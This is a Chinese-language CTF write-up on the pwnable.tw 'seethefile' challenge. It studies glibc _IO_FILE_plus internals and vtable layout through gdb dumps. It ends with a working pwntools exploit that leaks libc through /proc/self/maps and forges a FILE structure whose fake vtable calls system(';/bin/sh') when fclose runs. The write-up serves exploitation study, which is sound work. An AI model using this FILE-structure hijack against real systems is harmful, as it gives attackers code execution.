这篇文章主要是在简单的记录小猫在学习 IO_FILE 时候遇到的一些问题。借用 pwnable.tw 题目 seethefile

1
2
p  *(struct _IO_FILE_plus *)0x804c410
gdb调FILE_PLUS结构体,可以是地址,也可以是stdin等

32 位程序:

  1. # question

    open 打开文件 fp,在未读取数据时候,plus_file 结构体中一部分数据是空的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    p *(struct _IO_FILE_plus *)0x804c410
    $21 = {
    file = {
    _flags = -72539000,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x804c4a8,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x804c4b4,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 39 times>
    },
    vtable = 0xf7fb6ac0 <_IO_file_jumps>
    }

    此时我们看到程序开始有一个很大的堆块

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    pwndbg> heap
    0x804c000 PREV_INUSE {
    prev_size = 0,
    size = 1033,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
    }
    不知道这块区域的具体作用,可能是缓存区

    当我们通过 fp 读取数据后,会在对快中开启一个新的空间来储存内容。上述堆块会被更新,内容是我们读入文件名,而 plus_file 的 read 以及 write 部分的指针会指向新开辟的堆块中的数据区域

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    pwndbg> p *(struct _IO_FILE_plus *)0x804c410
    $22 = {
    file = {
    _flags = -72538984,
    _IO_read_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_end = 0x804d570 "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x804c4a8,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x804c4b4,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 39 times>
    },
    vtable = 0xf7fb6ac0 <_IO_file_jumps>
    }
    pwndbg> heap
    0x804c000 PREV_INUSE {
    prev_size = 0,
    size = 1033,
    fd = 0x74730a32,
    bk = 0x7478742e,
    fd_nextsize = 0xa,
    bk_nextsize = 0x0
    }
    0x804c408 PREV_INUSE {
    prev_size = 0,
    size = 353,
    fd = 0xfbad2498,
    bk = 0x804c570,
    fd_nextsize = 0x804c570,
    bk_nextsize = 0x804c570
    }
    0x804c568 PREV_INUSE {
    prev_size = 0,
    size = 4105,
    fd = 0x61616161,
    bk = 0x61616161,
    fd_nextsize = 0x61616161,
    bk_nextsize = 0xa6161
    }

    Q1:_IO_read_ptr 等几个指针有神吗作用?

    分别对应什么函数功能?为什么修改后,fread 不起作用了

    Q2:IO_buf_end -_IO_buf_base = 0x1000 为什么偏移量是 0x1000,内容堆块大小为 0x1008

  2. # 分析 ——__IO_FILE_plusneide 一些内容

    _flags FILE 结构体的一些状态;_markers 为指向 markers 结构体的指针变量,为一个单向链表结构,存放流的位置;_chain 变量为一个链表的指针,进程中创建的 FILE 结构体会通过这个变量连成一个单向链表;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    /*_IO_FILE结构体*/
    /* libio/libio.h */
    struct _IO_FILE {
    int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags

    /* The following pointers correspond to the C++ streambuf protocol. */
    /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    char* _IO_read_ptr; /* Current read pointer */
    char* _IO_read_end; /* End of get area. */
    char* _IO_read_base; /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr; /* Current put pointer. */
    char* _IO_write_end; /* End of put area. */
    char* _IO_buf_base; /* Start of reserve area. */
    char* _IO_buf_end; /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base; /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;
    #if 0
    int _blksize;
    #else
    int _flags2;
    #endif
    _IO_off_t _old_offset; /* This used to be _offset but it's too small. */

    #define __HAVE_COLUMN /* temporary */
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];

    /* char* _save_gptr; char* _save_egptr; */

    _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };

    struct _IO_FILE_complete //新版本下已经被删除
    {
    struct _IO_FILE _file;
    #endif
    #if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
    _IO_off64_t _offset;
    # if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    /* Wide character stream stuff. */
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    # else
    void *__pad1;
    void *__pad2;
    void *__pad3;
    void *__pad4;
    # endif
    size_t __pad5;
    int _mode;
    /* Make sure we don't get into trouble again. */
    char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
    #endif
    };

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    pwndbg> p *(struct _IO_FILE_plus *)0x804c410
    $22 = {
    file = {
    _flags = -72538984,
    _IO_read_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_end = 0x804d570 "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x804c4a8,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x804c4b4,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 39 times>
    },
    vtable = 0xf7fb6ac0 <_IO_file_jumps>
    }
  3. # 回归题目,思路明确,溢出修改 fd 的 plus,调用 close 时调用 system,

    下面时 vtable 的一些内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    struct _IO_jump_t
    {
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
    #if 0
    get_column;
    set_column;
    #endif
    };

    程序运行时的情况

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    pwndbg> p &_IO_file_jumps
    $28 = (const struct _IO_jump_t *) 0xf7fb6ac0 <_IO_file_jumps>
    pwndbg> p *(struct _IO_jump_t *)0xf7fb6ac0
    $27 = {
    __dummy = 0,
    __dummy2 = 0,
    __finish = 0xf7e6d990 <_IO_new_file_finish>,
    __overflow = 0xf7e6e3b0 <_IO_new_file_overflow>,
    __underflow = 0xf7e6e150 <_IO_new_file_underflow>,
    __uflow = 0xf7e6f230 <__GI__IO_default_uflow>,
    __pbackfail = 0xf7e700c0 <__GI__IO_default_pbackfail>,
    __xsputn = 0xf7e6d600 <_IO_new_file_xsputn>,
    __xsgetn = 0xf7e6d210 <__GI__IO_file_xsgetn>,
    __seekoff = 0xf7e6c4b0 <_IO_new_file_seekoff>,
    __seekpos = 0xf7e6f4d0 <_IO_default_seekpos>,
    __setbuf = 0xf7e6c2f0 <_IO_new_file_setbuf>,
    __sync = 0xf7e6c1e0 <_IO_new_file_sync>,
    __doallocate = 0xf7e618d0 <__GI__IO_file_doallocate>,
    __read = 0xf7e6d5b0 <__GI__IO_file_read>,
    __write = 0xf7e6d060 <_IO_new_file_write>,
    __seek = 0xf7e6cda0 <__GI__IO_file_seek>,
    __close = 0xf7e6c2c0 <__GI__IO_file_close>,
    __stat = 0xf7e6d040 <__GI__IO_file_stat>,
    __showmanyc = 0xf7e70250 <_IO_default_showmanyc>,
    __imbue = 0xf7e70260 <_IO_default_imbue>
    }

    因为当前版本还是 2.23,可以直接修改虚表,但是为了方便还是修改修改 fd 里面的指针,指向一个伪造虚表

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    bss:0804B260 name            db 20h dup(?)           ; DATA XREF: main+9F↑o
    .bss:0804B260 ; main+B4↑o
    .bss:0804B280 public fp
    .bss:0804B280 ; FILE *fp
    .bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
    .bss:0804B280 ; openfile+AD↑w ...
    .bss:0804B280 _bss ends
    .bss:0804B280
    .prgend:0804B284 ; ===========================================================================
    .prgend:0804B284
    .prgend:0804B284 ; Segment type: Zero-length
    .prgend:0804B284 _prgend segment byte public '' use32
    .prgend:0804B284 _end label byte
    .prgend:0804B284 _prgend ends
    .prgend:0804B284
    extern:0804B288 ; ===========================================================================
    extern:0804B288
    extern:0804B288 ; Segment type: Externs
    extern:0804B288 ; extern
    extern:0804B288 ; char *strstr(const char *haystack, const char *needle)
    extern:0804B288 extrn strstr:near ; CODE XREF: _strstr↑j
    extern:0804B288 ; DATA XREF: .got.plt:off_804B00C↑o
    extern:0804B28C ; int printf(const char *format, ...)
    extern:0804B28C extrn printf:near ; CODE XREF: _printf↑j
    extern:0804B28C ; DATA XREF: .got.plt:off_804B010↑o
    extern:0804B290 ; int fclose(FILE *stream)
    extern:0804B290 extrn fclose:near ; CODE XREF: _fclose↑j
    extern:0804B290 ; DATA XREF: .got.plt:off_804B014↑o
    extern:0804B294 ; __sighandler_t signal(int sig, __sighandler_t handler)
    extern:0804B294 extrn signal:near ; CODE XREF: _signal↑j
    extern:0804B294 ; DATA XREF: .got.plt:off_804B018↑o
    extern:0804B298 ; unsigned int alarm(unsigned int seconds)
    extern:0804B298 extrn alarm:near ; CODE XREF: _alarm↑j
    extern:0804B298 ; DATA XREF: .got.plt:off_804B01C↑o
    extern:0804B29C ; size_t fread(void *ptr, size_t size, size_t n, FILE *stream)
    extern:0804B29C extrn fread:near ; CODE XREF: _fread↑j
    extern:0804B29C ; DATA XREF: .got.plt:off_804B020↑o
    extern:0804B2A0 ; int puts(const char *s)
    extern:0804B2A0 extrn puts:near ; CODE XREF: _puts↑j
    extern:0804B2A0 ; DATA XREF: .got.plt:off_804B024↑o
    extern:0804B2A4 ; void exit(int status)
    extern:0804B2A4 extrn exit:near ; CODE XREF: _exit↑j
    extern:0804B2A4 ; DATA XREF: .got.plt:off_804B028↑o
    extern:0804B2A8 ; char *strchr(const char *s, int c)
    extern:0804B2A8 extrn strchr:near ; CODE XREF: _strchr↑j
    extern:0804B2A8 ; DATA XREF: .got.plt:off_804B02C↑o
    extern:0804B2AC ; int __cdecl _libc_start_main(int (__cdecl *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end)
    extern:0804B2AC extrn __libc_start_main:near
    extern:0804B2AC ; CODE XREF: ___libc_start_main↑j
    extern:0804B2AC ; DATA XREF: .got.plt:off_804B030↑o
    extern:0804B2B0 ; int setvbuf(FILE *stream, char *buf, int modes, size_t n)
    extern:0804B2B0 extrn setvbuf:near ; CODE XREF: _setvbuf↑j
    extern:0804B2B0 ; DATA XREF: .got.plt:off_804B034↑o
    extern:0804B2B4 ; FILE *fopen(const char *filename, const char *modes)
    extern:0804B2B4 extrn fopen:near ; CODE XREF: _fopen↑j
    extern:0804B2B4 ; DATA XREF: .got.plt:off_804B038↑o
    extern:0804B2B8 ; void *memset(void *s, int c, size_t n)
    extern:0804B2B8 extrn memset:near ; CODE XREF: _memset↑j
    extern:0804B2B8 ; DATA XREF: .got.plt:off_804B03C↑o
    extern:0804B2BC extrn __isoc99_scanf:near
    extern:0804B2BC ; CODE XREF: ___isoc99_scanf↑j
    extern:0804B2BC ; DATA XREF: .got.plt:off_804B040↑o
    extern:0804B2C0 ; int atoi(const char *nptr)
    extern:0804B2C0 extrn atoi:near ; CODE XREF: _atoi↑j
    extern:0804B2C0 ; DATA XREF: .got.plt:off_804B044↑o
    extern:0804B2C4 extrn __imp___gmon_start__:near ; weak
    extern:0804B2C4 ; CODE XREF: __gmon_start__↑j
    extern:0804B2C4 ; DATA XREF: .got:__gmon_start___ptr↑o
    extern:0804B2C4
    extern:0804B2C4
    extern:0804B2C4 end _start

    我们产看内存空间发现,在 fp 后有足够多的空间来放我们的 fake_file(虽然 filename 也很大,但是文件名只可以读取 63 字节). 所以我们将 file 放在此处,同时伪造的时候要注意如何跳过 fclose 的一些检查:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

    _IO_acquire_lock (fp);
    if (fp->_IO_file_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
    else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
    _IO_release_lock (fp);
    _IO_FINISH (fp);

    //可以看到当_IO_IS_FILEBUF位为0时,函数不会执行_IO_un_link和_IO_file_close_it函数,而直接执行_IO_FINISH函数。在_IO_FINISH函数中会直接调用vtable中的__finish函数。其中_IO_IS_FILEBUF被定义为0x2000。_flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp);对于不同的函数,检查可能时不一样的,这就需要libc源码分析了。
    //此外还有其他的绕过方法
    //这里我并不清楚这些绕过都是什么,待后续学习
    1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

    //或者是
    2.
    _IO_vtable_offset (fp) == 0
    && fp->_mode > 0
    && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

    flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
    所以flag的值可以为0xfbad8000 或者0xfbad8080
    //unlink与io_FILE_plus 联合使用https://www.jianshu.com/p/1e45b785efc1

    在执行 fclose 时会执行 unlink 等一些操作,同时会 free 我们开启的 fp 堆块以及储存数据的堆块,如果因为这两个堆块都比较大,检查是否与 topchunk 相邻,然年进行 free, 因为储存数据的堆块与 topchunk 相连,而且其在 file 堆块前释放,所以两个都会合并到 topchunk.fclose 会对 file_plus 的数据进处理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    pwndbg> p *(struct _IO_FILE_plus *)0x804c410
    $2 = {
    file = {
    _flags = -72539124,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
    _fileno = -1,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x804c4a8,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x804c4b4,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 39 times>
    },
    vtable = 0xf7fb6ac0 <_IO_file_jumps>
    }

    继续我们上述的绕过检查,我们修改其的相关参数后释放

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    0x804c408 PREV_INUSE {					//IO_FILE_plus 堆块
    prev_size = 0,
    size = 353,
    fd = 0xf7fb77b0 <main_arena+48>,
    bk = 0xf7fb77b0 <main_arena+48>,
    fd_nextsize = 0x804c570,
    bk_nextsize = 0x804c570
    }
    0x804c568 {
    prev_size = 352,
    size = 4104,
    fd = 0x61616161,
    bk = 0x61616161,
    fd_nextsize = 0x61616161,
    bk_nextsize = 0xa6161
    }
    0x804d570 PREV_INUSE {
    prev_size = 0,
    size = 129681,
    fd = 0x0,
    bk = 0x0,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
    }
    pwndbg> p *(struct _IO_FILE_plus *)0x804c410
    $5 = {
    file = {
    _flags = -134514768,
    _IO_read_ptr = 0xf7fb77b0 <main_arena+48> "p\325\004\b",
    _IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
    _IO_buf_end = 0x804d570 "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
    _fileno = 3,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x804c4a8,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x804c4b4,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 39 times>
    },
    vtable = 0xf7fb6ac0 <_IO_file_jumps>
    }

    可以看到,此时只是对 file 堆块进行了释放,而没有对其数据进行清空,io_read_ptr 变为了 main_arena, 这是因为其加入了 unsortedbins, 但是这块是或否执行了 unlink 操作呢?但是我们看到了储存数据的堆块并没有进行 free 操作。这里这样操作,如果存在 UAF 是否可以实现泄露数据呢?

    泄露地址的操作,在进行数据泄露的时候除了程序的内存表,还可以利用环境的相关内容。通过打开 /proc/self/mmap 这个虚拟文件来获取当前进程的地址空间情况,

整体思路:1. 泄露 libc 地址,获取 system 函数的真实地址

​ 2. 利用 fp 后面的 bss 伪造 file_plus 的结构体()这部分内存全是空的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
name:0x0,				//0x20字节
0x0,
0x0,
0x0,
fp:fake_file_start
//下面时伪造的file
flags_:0xffffdfff //fake_file_start
_io_read_ptr:";/bin/sh"
//下面就可以全是0
vtable:fake_file_start+0x94+4
//fake_vatable fclose偏移为2
JUMP_FIELD(size_t, __dummy):0
JUMP_FIELD(size_t, __dummy2)):0
JUMP_FIELD(_IO_finish_t, __finish):system_addr
//剩下的全写0

调用_IO_FINSH (fp),_IO_FINISH (fp) 相当于调用 fp->vtabl->__finish (fp),此时实际上执行的 system (fp);

因此此时的 fp 指针其实就是 system 的参数,虽然 fp 并未直接指向 "/bin/sh", 但是 system 解析指令的时,无法解析 0xffffdfff,便会继续向后检查,这里除了写”;bin/sh“, 话可以有”||/bin/sh“, 覆盖后面的指针也问题不大

# 补充,后来复现在这个题的时候,发现通过上面的伪造方式,是无法实现 vtable 指针的改写,是因为数据过长后,到了 bss 下面的区域,这块区域会将数据清空,而且我们在改的过程中,还有一个值得注意的地方,就是 io_file 里面 的_offset 变量,一定要是我们 fp 指针的 + 4 偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = 'debug'
r=process('./seethefile')
elf =ELF("./seethefile")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

name = 0x804B260
fp = 0x804B280
def ch(i):
r.sendlineafter("Your choice :" ,str(i))

def open_file(file_path):
ch(1)
r.sendlineafter("What do you want to see :",file_path)


open_file("/proc/self/maps")
ch(2)
ch(3)
ch(2)
ch(3)
r.recvuntil("[heap]\n")
libc_base = int(b"0x"+r.recv(8),16)+0x1000
print(hex(libc_base))
system_addr = libc.sym['system'] + libc_base
print("system : ",hex(system_addr))
payload = b'\x01\xA0;/bin/sh\x00\x00'+p32(system_addr)+p32(0)*4+p32(name)
payload +=p32(0xcafebabe)*5 + p32(0xffffffff) + p32(0xcafebabe)*4 +p32(name+4)
payload =payload.ljust(0x94,b'a')+p32(0x0804b264)

gdb.attach(r,'b *0x08048AF5')
ch(5)
r.sendlineafter("Leave your name :",payload)
r.interactive()

总结:这个文章内容比较多,但是重点就在与 io_file_plus 以及虚表的使用,有时候较低的版本可以不去伪造 vtable, 而时可以直接修改 vtable 的数据,但是当下的新版本不在可以。对于不同的函数有不同的利用姿势。、

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal